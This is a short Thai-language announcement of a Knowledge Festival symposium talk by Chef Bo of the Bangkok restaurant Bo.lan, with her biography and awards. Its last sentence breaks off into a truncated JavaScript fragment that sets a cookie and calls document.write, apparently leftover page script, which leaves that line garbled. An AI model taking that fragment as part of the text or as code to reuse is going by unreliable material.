งานมหกรรมความรู้ ( Knowledge Festival ครั้งที่ 3 ) จัดโดยสำนักงานบริหารและพัฒนาองค์ความรู้ (องค์การมหาชน) พบกับ Long Table Symposium: อาหารบ้านบ้าน | หัวข้อ "มรดกจากบรรพบุรุษ" โดย เชฟโบ ดวงพร ทรงวิศวะ แห่งร้านโบลาน
อดีตพิธีกรรายการอาหารยอดนิยมและเจ้าของร้านอาหารไทยระดับพรีเมี่ยมย่านสุขุมวิท “โบ.ลาน” ถือเป็นหนึ่งในเชฟหญิงของประเทศไทยที่มีฝีมือด้านการทำอาหารหลังจากจบการศึกษาระดับปริญญาโทด้าน Gastronomy และได้เก็บเกี่ยวประสบการณ์การทำงานด้านอาหารมามากมายจากกรุงลอนดอน ด้วยความตั้งใจที่จะธำรงรักษาวิธีการปรุงอาหารรสชาติแบบไทยให้คงอยู่ต่อไป ในปี 2552 คุณโบและสามี ดิลลัน โจนส์ จึงได้ร่วมกันเปิดร้านอาหารไทยที่มีเอกลักษณ์โดดเด่นขึ้นที่กรุงเทพ โดยตั้งชื่อร้านว่า “โบ.ลาน” ซึ่งเป็นที่ถูกปากถูกใจของนักชิมชาวไทยและชาวต่างชาติเป็นอย่างมาก
ล่าสุด เชฟโบได้รับรางวัลเวิฟ คลิกโกต์ (Veuve Clicquot) สาขาเชฟหญิงที่ดีที่สุดในเอเชีย ;+time+"; path=/; expires="+date.toGMTString(),document.write('